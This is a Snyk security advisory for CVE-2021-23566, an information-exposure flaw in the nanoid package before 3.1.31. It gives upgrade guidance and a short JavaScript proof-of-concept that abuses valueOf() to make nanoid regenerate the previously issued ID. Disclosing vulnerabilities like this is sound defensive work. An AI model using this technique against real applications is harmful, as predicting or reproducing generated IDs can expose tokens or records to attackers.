Information Exposure Affecting nanoid package, versions >=3.0.0 <3.1.31


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.07% (32nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-NANOID-2332193
  • published12 Jan 2022
  • disclosed11 Jan 2022
  • creditArtyom Arutyunyan

Introduced: 11 Jan 2022

CVE-2021-23566  (opens in a new tab)
CWE-200  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade nanoid to version 3.1.31 or higher.

Overview

Affected versions of this package are vulnerable to Information Exposure via the valueOf() function which allows to reproduce the last id generated.

PoC

import { nanoid } from 'nanoid';

const makeProxyNumberToReproducePreviousID = () => {
  let step = 0;
  return {
    valueOf() {
      // // if (!pool || pool.length < bytes) {
      if (step === 0) {
        step++;
        return 0;
      }

      // } else if (poolOffset + bytes > pool.length) {
      if (step === 1) {
        step++;
        return -Infinity;
      }

      // poolOffset += bytes
      if (step === 2) {
        step++;
        return 0;
      }

      return 21;
    },
  };
};

const ID1 = nanoid();
const ID2 = nanoid(makeProxyNumberToReproducePreviousID());
console.log({ ID1, ID2, isIDsEqual: ID1 === ID2 });

CVSS Scores

version 3.1